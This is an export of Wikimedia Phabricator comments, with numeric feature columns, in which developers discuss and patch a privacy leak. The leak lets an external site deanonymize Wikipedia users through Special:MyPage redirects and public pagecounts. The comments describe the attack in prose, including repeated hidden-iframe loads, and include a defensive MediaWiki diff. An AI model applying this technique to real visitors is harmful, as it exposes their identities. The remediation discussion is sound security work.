531973,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@jkatzwmf and @dartar, ping? Let me know if I should schedule 20 mins to chat / demo, and I can walk you through it.",,,1442868041,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,19.0,11.0,0.0,4.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9259259259259259,"SCREEN_NAME andSCREEN_NAME, ping? Let me know if I should schedule 20 mins to chat / demo, and I can walk you through it."
528896,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1606920, @JKatzWMF wrote:
> @csteipp when we say soft redirect, that means the user has to click again?  If so, then soft redirects are not a workable solution.  This is a pretty bad user experience, so unless there was a direct breach or urgent need, I hope an alternative will work.

@JKatzWMF,  from the description at https://phabricator.wikimedia.org/T109724#1610437, so no extra click required, does that seem palatable from a product perspective?

@DarTar, if we make this a soft redirect, so we only store a hit to Special:MyPage/whatever instead of the specific User:whatever, is that OK for research?

If so, I'll keep working on bawolff's patch, and try to get that deployed this week.",,,1442437199,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,5.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,3.0,1.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,13.0,5.0,2.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,3.744186046511628,0.7209302325581395,"QUOTE
QUOTE
SCREEN_NAME,  from the description at URL so no extra click required, does that seem palatable from a product perspective?
SCREEN_NAME, if we make this a soft redirect, so we only store a hit to Special:MyPage/whatever instead of the specific User:whatever, is that OK for research?

If so, I'll keep working on bawolff's patch, and try to get that deployed this week."
528170,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I think I see the problem you guys are trying to solve, but it sounds like it's mostly in your domain now.  If you think I can help, please grab me in IRC or set up a meeting.",,,1442369277,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,7.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,11.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,20.0,14.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.1363636363636362,0.8181818181818182,"I think I see the problem you guys are trying to solve, but it sounds like it's mostly in your domain now.  If you think I can help, please grab me in IRC or set up a meeting."
526756,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1637303, @csteipp wrote:
>> Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
>> * Not specific to our setup. Would work with other analytic setups that third parties might use.
>> * Does not require extra url parameters that user's could forge, or really long ugly tokens.
>> * Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)
> 
> I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.

 - The Special:MyPage problem would be solved equally with the url parameter+`X-analytic:dnt=1` response header method and this method.
 - If another installation than wikimedia ones is also using cache, their cache method must also be updated to proper work. So the public analytics work become a parametrize cache work for them. And cache is known to be a hard problem.
 - I wonder if some mediawiki extensions don't keep track of visit page counts and if they should not be updated too if necessary. 

About url parameter forging, I don't think it's a concern because the meaning of this parameter is don't publish stats about my visit on this page. A pretty similar behavior could be done with an api request",,,1442246808,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.5,0.0,0.0,3.0,2.5,4.0,0.5,0.5,0.0,2.5,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.5,9.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,5.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.0,5.5,4.5,9.0,3.0,1.5,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,9.0,4.0,0.0,0.0,0.0,4.5,0.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,4.098684210526316,0.7236842105263157,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

 - The Special:MyPage problem would be solved equally with the url parameter+CODE response header method and this method.
 - If another installation than wikimedia ones is also using cache, their cache method must also be updated to proper work. So the public analytics work become a parametrize cache work for them. And cache is known to be a hard problem.
 - I wonder if some mediawiki extensions don't keep track of visit page counts and if they should not be updated too if necessary. 

About url parameter forging, I don't think it's a concern because the meaning of this parameter is don't publish stats about my visit on this page. A pretty similar behavior could be done with an api request"
526734,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1634244, @Krenair wrote:
>>>! In T109724#1633632, @Bawolff wrote:
>> How do I attach a patch to a bug in phab? I think I'm missing something obvious
> 
> Same way as you attached other files: Drag it into the comment area.

See also {T165}. If you're affected by that bug, the alternative is to go to https://phabricator.wikimedia.org/file/upload/ and upload the file (being sure to set the permissions to ""No One"") and then copy-paste the resulting F-number into the textbox  like `{F123}`.",,,1442245746,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,20.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,9.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2615384615384615,0.7230769230769231,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

See also {T165}. If you're affected by that bug, the alternative is to go to URL and upload the file (being sure to set the permissions to ""No One"") and then copy-paste the resulting F-number into the textbox  like CODE."
526713,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1634944, @Bawolff wrote:
> 
>> 
>> My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.
> 
> Oh my bad, I was using page stats and the public page counts as synonyms. I meant just the public page counts (e.g.the stuff on dumps.wikimedia.org , stats.grok.se etc)

But this public page counts don't really need the count of Special:MyLanguage redirection. Does they ?",,,1442244528,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,31.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,22.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.71875,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But this public page counts don't really need the count of Special:MyLanguage redirection. Does they ?"
526699,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.

Even on a big wiki, if you can convince the user to load special:mypage via say a hidden iframe, you can just as easily convince them to load it 500 times to get above the noise of normal traffic.",,,1442243692,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,3.5869565217391304,0.8043478260869565,"QUOTE

Even on a big wiki, if you can convince the user to load special:mypage via say a hidden iframe, you can just as easily convince them to load it 500 times to get above the noise of normal traffic."
526636,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
> * Not specific to our setup. Would work with other analytic setups that third parties might use.
> * Does not require extra url parameters that user's could forge, or really long ugly tokens.
> * Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)

I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.
",,,1442239581,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,9.0,14.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6493506493506493,0.7142857142857143,"QUOTE
QUOTE
QUOTE
QUOTE

I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.
"
526628,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1632767, @Milimetric wrote:
> Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.

The problem is the header in the response won't be sent back with the next request from the client (following the 302). The next request is what leaks the private data. So either a query parameter or cookie would have to be used for this method.
",,,1442239048,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,4.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,7.0,9.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.754385964912281,0.7543859649122807,"QUOTE
QUOTE

The problem is the header in the response won't be sent back with the next request from the client (following the 302). The next request is what leaks the private data. So either a query parameter or cookie would have to be used for this method.
"
526099,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
> 
> My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.

Oh my bad, I was using page stats and the public page counts as synonyms. I meant just the public page counts (e.g.the stuff on dumps.wikimedia.org , stats.grok.se etc)",,,1442133149,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.052631578947368,0.7631578947368421,"
QUOTE
QUOTE

Oh my bad, I was using page stats and the public page counts as synonyms. I meant just the public page counts (e.g.the stuff on dumps.wikimedia.org , stats.grok.se etc)"
526091,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?
> 
> I'm not sure what you mean by this. Currently Special:MyLanguage/foo redirects to foo/en-gb or foo/fr, etc based on a setting in Special:Preferences. This yields a small amount of private info being leaked by the public stats, which could be exploited, but seems like it would be much more difficult to exploit, compared to Special:MyPage.

My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.",,,1442132338,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,2.5,0.0,8.5,8.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,2.0,0.0,3.5,1.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,15.5,1.0,0.0,0.5,1.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,5.5,1.0,8.0,2.5,4.0,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.5,8.0,3.0,0.5,2.0,0.0,4.5,0.0,1.5,0.0,0.0,3.5,0.0,0.0,0.0,3.8796296296296298,0.7777777777777777,"QUOTE
QUOTE
QUOTE

My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong."
526088,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">I did not know of other special pages which redirect. Is there a list somewhere to be sure that none is missed?

I used grep to try to find special pages that extend RedirectSpecialPage (or its subclass RedirectSpecialArticle). There's also Special:Redirect that is outside this class hierarchy, but does not appear exploitable. 

>Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?

I'm not sure what you mean by this. Currently Special:MyLanguage/foo redirects to foo/en-gb or foo/fr, etc based on a setting in Special:Preferences. This yields a small amount of private info being leaked by the public stats, which could be exploited, but seems like it would be much more difficult to exploit, compared to Special:MyPage.",,,1442131356,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1.0,0.0,0.0,1.5,1.0,5.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,3.5,9.0,0.0,2.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,1.0,1.0,4.5,1.0,1.5,0.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,13.0,1.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.5,3.0,10.0,0.0,2.5,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,5.5,0.0,0.0,0.0,3.0,0.0,2.5,1.5,0.0,0.0,1.0,0.0,1.0,4.097457627118644,0.7983050847457627,"QUOTE

I used grep to try to find special pages that extend RedirectSpecialPage (or its subclass RedirectSpecialArticle). There's also Special:Redirect that is outside this class hierarchy, but does not appear exploitable. 

QUOTE

I'm not sure what you mean by this. Currently Special:MyLanguage/foo redirects to foo/en-gb or foo/fr, etc based on a setting in Special:Preferences. This yields a small amount of private info being leaked by the public stats, which could be exploited, but seems like it would be much more difficult to exploit, compared to Special:MyPage."
526086,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1633566, @Bawolff wrote:
> For reference, there's also similar issues with
> 
> * Special:MyTalk
> * Special:MyContributions  (redirects to Special:Contributions/Username)
> * Special:MyUploads
> * Special:AllMyUploads
> 

I did not know of other special pages which redirect. Is there a list somewhere to be sure that none is missed?

> In theory (albeit probably much more difficult to actually exploit), you could use Special:MyLanguage to narrow down which language the user has set in pref, and maybe from there figure out who's visiting your website if you have a small set of potential visitors, who all speak different languages. It should be noted, that its probably much more important to track visiting stats of the target of Special:MyLanguage, then it is for other redirect specials)

Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?",,,1442130599,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,3.0,4.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,7.0,10.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,19.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,10.0,4.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.6388888888888888,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I did not know of other special pages which redirect. Is there a list somewhere to be sure that none is missed?

QUOTE

Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?"
525991,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1633632, @Bawolff wrote:
> How do I attach a patch to a bug in phab? I think I'm missing something obvious

Same way as you attached other files: Drag it into the comment area.",,,1442088206,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,"QUOTE
QUOTE

Same way as you attached other files: Drag it into the comment area."
525866,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"And it just occurred to me, that my above comment would [probably] pollute varnish cache for anons (Which would be bad). Treat it as just a proof-of-concept for a direction which we're probably not going in anyways.",,,1442060208,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,6.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,4.0,3.6530612244897958,0.8367346938775511,"And it just occurred to me, that my above comment would [probably] pollute varnish cache for anons (Which would be bad). Treat it as just a proof-of-concept for a direction which we're probably not going in anyways."
525858,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"For reference, here's what @xcombelle's solution would look like (How do I attach a patch to a bug in phab? I think I'm missing something obvious)

```
commit 0844d710a5d2a89b2ddae188daf0a9939d9adca0
Author: Brian Wolff <bawolff+wn@gmail.com>
Date:   Sat Sep 12 04:27:41 2015 -0600

    Make Special:MyPage and friends fake redirect to prevent info leak
    
    This prevents a malicious person from using external resources on
    their website to cause the victim's web browser to load
    Special:MyPage -> User:Username, and then looking it up in the
    page hit statistics in order to correlate IPs from the malicious
    person's server log, with usernames on wiki.
    
    Bug: T109724
    Change-Id: I9377d68db738164f17d4135857e83c80c0544335

diff --git a/includes/MediaWiki.php b/includes/MediaWiki.php
index fbacb25..18cb701 100644
--- a/includes/MediaWiki.php
+++ b/includes/MediaWiki.php
@@ -242,8 +242,25 @@ class MediaWiki {
 		// Handle any other redirects.
 		// Redirect loops, titleless URL, $wgUsePathInfo URLs, and URLs with a variant
 		} elseif ( !$this->tryNormaliseRedirect( $title ) ) {
+			# Prevent information leak via Special:MyPage et al (T109724)
+			if ( $title->isSpecialPage() ) {
+				$specialPage = SpecialPageFactory::getPage( $title->getDBKey() );
+				if ( $specialPage instanceof RedirectSpecialPage ) {
+					list( , $subpage ) = SpecialPageFactory::resolveAlias( $title->getDBKey() );
+					$target = $specialPage->getRedirect( $subpage );
+					// target can also be true. We let that case fall through to normal processing.
+					if ( $target instanceof Title ) {
+						$query = $specialPage->getRedirectQuery() ?: array();
+						$request = new DerivativeRequest( $this->context->getRequest(), $query );
+						$request->setRequestURL( $this->context->getRequest()->getRequestURL() );
+						$this->context->setRequest( $request );
+						$this->context->setTitle( $target );
+						$title = $target;
+					}
+				}
+			}
 
-			// Special pages
+			// Special pages ($title may have changed since if statement above)
 			if ( NS_SPECIAL == $title->getNamespace() ) {
 				// Actions that need to be made when we have a special pages
 				SpecialPageFactory::executePath( $title, $this->context );
```

Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
* Not specific to our setup. Would work with other analytic setups that third parties might use.
* Does not require extra url parameters that user's could forge, or really long ugly tokens.
* Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)",,,1442057831,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.5,1.0,0.5,0.0,2.0,7.5,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,3.5,0.0,6.5,9.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,2.5,0.0,4.0,0.5,0.5,0.5,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,12.5,0.5,2.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.5,1.5,0.0,0.0,2.0,0.0,8.5,1.0,1.5,5.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,4.0,9.0,2.0,0.5,1.5,0.0,4.0,0.0,2.0,1.0,0.5,1.0,0.0,0.0,0.0,3.7844287949921753,0.7901995305164319,"For reference, here's whatSCREEN_NAME's solution would look like (How do I attach a patch to a bug in phab? I think I'm missing something obvious)

``CODE``

Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
* Not specific to our setup. Would work with other analytic setups that third parties might use.
* Does not require extra url parameters that user's could forge, or really long ugly tokens.
* Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)"
525843,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"For reference, there's also similar issues with

* Special:MyTalk
* Special:MyContributions  (redirects to Special:Contributions/Username)
* Special:MyUploads
* Special:AllMyUploads

In theory (albeit probably much more difficult to actually exploit), you could use Special:MyLanguage to narrow down which language the user has set in pref, and maybe from there figure out who's visiting your website if you have a small set of potential visitors, who all speak different languages. It should be noted, that its probably much more important to track visiting stats of the target of Special:MyLanguage, then it is for other redirect specials)
